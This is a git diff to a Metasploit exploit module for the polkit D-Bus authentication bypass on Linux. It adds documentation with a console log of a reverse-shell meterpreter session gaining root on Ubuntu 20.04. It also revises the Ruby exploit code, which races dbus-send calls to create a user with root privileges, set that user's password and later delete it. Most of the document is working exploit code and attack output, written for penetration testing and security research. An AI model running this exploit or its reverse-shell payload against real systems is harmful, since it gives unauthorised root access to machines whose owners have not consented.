diff --git a/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md b/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md new file mode 100644 index 0000000000..f1f90f6f5a --- /dev/null +++ b/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md @@ -0,0 +1,96 @@ +## Description + +This module exploits a authentication bypass in Linux machines that make use of the polkit is a system service. +The vulnerability enables an unprivileged local user to get a root shell on the system. + +## Vulnerable Application +This module has been tested successfully on: + +* Ubuntu 20.04 + +### Installation And Setup + +Download and install Ubuntu 20.04 from the Ubuntu Downloads page: https://ubuntu.com/download/desktop + +## Verification Steps +1. Start msfconsole. +2. Get a session. +3. Do: `use exploit/linux/local/polkit_dbus_auth_bypass`. +4. Set the `SESSION` to the session obtained in step 2. +5. Set the `LHOST`, `LPORT` and `PAYLOAD` options as appropriate. +6. Do: `run`. +7. It is possible for the exploit to fail, increase the ITERATIONS module option to attempt the exploit more times before failing and run again. +8. Enjoy the shell. + +## Options + +**SESSION** +The session to run this module on. + +**WRITABLE_DIR** +Directory to write file to (`%TEMP%` by default). + +**USERNAME** +The name of the user the exploit will add to the system + +**PASSWORD** +The password for the user to be created + +## Scenarios + +### Tested on Ubuntu 20.04 +``` +msf6 > use multi/handler +[*] Using configured payload linux/x64/meterpreter_reverse_tcp +msf6 exploit(multi/handler) > run + +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.146:49882) at 2021-06-25 17:54:45 -0400 + +meterpreter > bg +[*] Backgrounding session 1... +msf6 exploit(multi/handler) > use polkit_dbus +[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/linux/local/polkit_dbus_auth_bypass 2021-06-03 excellent Yes Polkit Authentication Bypass + + +Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/polkit_dbus_auth_bypass + +[*] Using exploit/linux/local/polkit_dbus_auth_bypass +msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lport 4443 +lport => 4443 +msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set session 1 +session => 1 +msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run + +[*] Started reverse TCP handler on 192.168.123.1:4443 +[*] Executing automatic check (disable AutoCheck to override) +[+] The target is vulnerable. The polkit framework instance is vulnerable. +[*] Attempting to create user msf +[+] User msf created with UID 1019 +[*] Attempting to set the password of the newly create user, msf, to: NpJsQSti +[+] Obtained code execution has root! +[*] Writing '/tmp/vOWnn' (207 bytes) ... +[*] Sending stage (984904 bytes) to 192.168.123.146 +[+] Deleted /tmp/vOWnn +[*] Meterpreter session 2 opened (192.168.123.1:4443 -> 192.168.123.146:42066) at 2021-06-25 17:55:27 -0400 +[*] Attempting to remove the user added: +[+] Successfully removed msf + +meterpreter > getuid +Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) +meterpreter > sysinfo +Computer : 192.168.123.146 +OS : Ubuntu 20.04 (Linux 5.8.0-55-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +``` diff --git a/modules/exploits/linux/local/polkit_priv_esc.rb b/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb similarity index 71% rename from modules/exploits/linux/local/polkit_priv_esc.rb rename to modules/exploits/linux/local/polkit_dbus_auth_bypass.rb index 0029f13b49..d5623ca5d8 100644 --- a/modules/exploits/linux/local/polkit_priv_esc.rb +++ b/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb @@ -61,19 +61,14 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('WRITEABLEDIR', [ true, 'A directory where you can write files.', '/tmp' ]), OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/), OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]), - OptString.new('CMD_DELAY', [ - true, 'Amount of time in seconds to let the command to run before killing it. -This value should be half of the time it takes to run: -\"time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply -/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string: string:"" int32:1\"', '0.002' - ]), - OptString.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', '20']), + OptString.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20]) ]) end def exploit_set_realname(new_realname) + loop_sequence = datastore['ITERATIONS'].times.map(&:to_s).join(' ') cmd_exec(<<~SCRIPT - for i in {1..#{datastore['ITERATIONS']}}; do + for i in #{loop_sequence}; do dbus-send --system --dest=org.freedesktop.Accounts @@ -82,7 +77,7 @@ This value should be half of the time it takes to run: /org/freedesktop/Accounts/User0 org.freedesktop.Accounts.User.SetRealName string:'#{new_realname}' & - sleep 0.004s; + sleep #{@cmd_delay}; kill $!; dbus-send --system @@ -102,11 +97,30 @@ This value should be half of the time it takes to run: .gsub(/\s+/, ' ')) =~ /success/ end + def is_executable?(path) + cmd_exec("test -x '#{path}' && echo true").include? 'true' + end + + def get_cmd_delay + user = rand_text_alphanumeric(8) + time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'" + time = cmd_exec(time_command).match(/real\s+\d+m(\d+.\d+)s/)[1].to_f/2 + fail_with(Failure::BadConfig, "Unable to determine the time taken to run the dbus command. Without this information the exploit cannot continue. The command that failed was: #{time_command}") unless time + time + end + def check unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/ return CheckCode::Safe('The polkit framework is not installed') end + unless is_executable?('/bin/su') + return CheckCode::Safe('This module requires /bin/su which does not seem to be present') + end + + # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit + @cmd_delay = get_cmd_delay + # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To # do that, the distro specific package manager would need to be queried. status = CheckCode::Detected("Detected polkit framework version #{Regexp.last_match(1)}.") @@ -122,7 +136,7 @@ This value should be half of the time it takes to run: if exploit_set_realname(rand_text_alphanumeric(12)) status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.') unless exploit_set_realname(old_realname) - print_error('Failed to restore the root user\'s orignal \'RealName\' property value') + print_error('Failed to restore the root user\'s original \'RealName\' property value') end end end @@ -152,9 +166,9 @@ This value should be half of the time it takes to run: UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s) end - def exploit_set_username + def exploit_set_username(loop_sequence) cmd_exec(<<~SCRIPT - for i in {1..#{datastore['ITERATIONS']}}; do + for i in #{loop_sequence}; do dbus-send --system --dest=org.freedesktop.Accounts @@ -162,13 +176,13 @@ This value should be half of the time it takes to run: --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser - string:#{datastore['USERNAME']}#{' '} - string:\"#{datastore['USERNAME']}\"#{' '} + string:#{datastore['USERNAME']} + string:\"#{datastore['USERNAME']}\" int32:1 & - sleep #{datastore['CMDDELAY']}s; + sleep #{@cmd_delay}s; kill $!; - if id #{datastore['USERNAME']}; then#{' '} - echo \"success\";#{' '} + if id #{datastore['USERNAME']}; then + echo \"success\"; break; fi; done @@ -176,29 +190,54 @@ This value should be half of the time it takes to run: .gsub(/\s+/, ' ')) =~ /success/ end - def exploit_set_password(uid, hashed_password) + def exploit_delete_user(uid, loop_sequence) cmd_exec(<<~SCRIPT - for i in {1..#{datastore['ITERATIONS']}; do + for i in #{loop_sequence}; do + dbus-send + --system + --dest=org.freedesktop.Accounts + --type=method_call + --print-reply + /org/freedesktop/Accounts + org.freedesktop.Accounts.DeleteUser + int64:#{uid} + boolean:true & + sleep #{@cmd_delay}s; + kill $!; + if id #{datastore['USERNAME']}; then + echo \"failed\"; + else + echo \"success\"; + break; + fi; + done + SCRIPT + .gsub(/\s+/, ' ')) =~ /success/ + end + + def exploit_set_password(uid, hashed_password, loop_sequence) + cmd_exec(<<~SCRIPT + for i in #{loop_sequence}; do dbus-send#{' '} --system --dest=org.freedesktop.Accounts --type=method_call - --print-reply#{' '} - /org/freedesktop/Accounts/User#{uid}#{' '} - org.freedesktop.Accounts.User.SetPassword#{' '} - string:'#{hashed_password}'#{' '} - string: &#{' '} - sleep #{datastore['CMDDELAY']}s; - kill $!;#{' '} - echo #{datastore['PASSWORD']}#{' '} - | su - #{datastore['USERNAME']}#{' '} - -c \"echo #{datastore['PASSWORD']} | sudo -S id\"#{' '} - | grep \"uid=0(root)\";#{' '} - if [ $? -eq 0 ]; then#{' '} + --print-reply + /org/freedesktop/Accounts/User#{uid} + org.freedesktop.Accounts.User.SetPassword + string:'#{hashed_password}' + string: & + sleep #{@cmd_delay}s; + kill $!; + echo #{datastore['PASSWORD']} + | su - #{datastore['USERNAME']} + -c \"echo #{datastore['PASSWORD']} | sudo -S id\" + | grep \"uid=0(root)\"; + if [ $? -eq 0 ]; then echo \"success\"; - break;#{' '} + break; fi; - done + done; SCRIPT .gsub(/\s+/, ' ')) =~ /success/ end @@ -227,28 +266,29 @@ This value should be half of the time it takes to run: cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"") end - # TODO: - use dbus to delete user method - def remove_user - print_status('Removing the user added: ') - end - def exploit print_status("Attempting to create user #{datastore['USERNAME']}") - if exploit_set_username + loop_sequence = datastore['ITERATIONS'].times.map(&:to_s).join(' ') + if exploit_set_username(loop_sequence) uid = cmd_exec("id -u #{datastore['USERNAME']}") print_good("User #{datastore['USERNAME']} created with UID #{uid}") print_status("Attempting to set the password of the newly create user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}") - if exploit_set_password(uid, create_unix_crypt_hash) + if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence) print_good('Obtained code execution has root!') fname = upload_payload execute_payload(fname) - # TODO: remove_user - remove_user else fail_with(Failure::BadConfig, "Attempted setting the password #{datastore['Iterations']} times, did not work.") end else fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. This could be due to race condition that the vulnerability.") end + + print_status('Attempting to remove the user added: ') + if exploit_delete_user(uid, loop_sequence) + print_good("Successfully removed #{datastore['USERNAME']}") + else + print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module") + end end end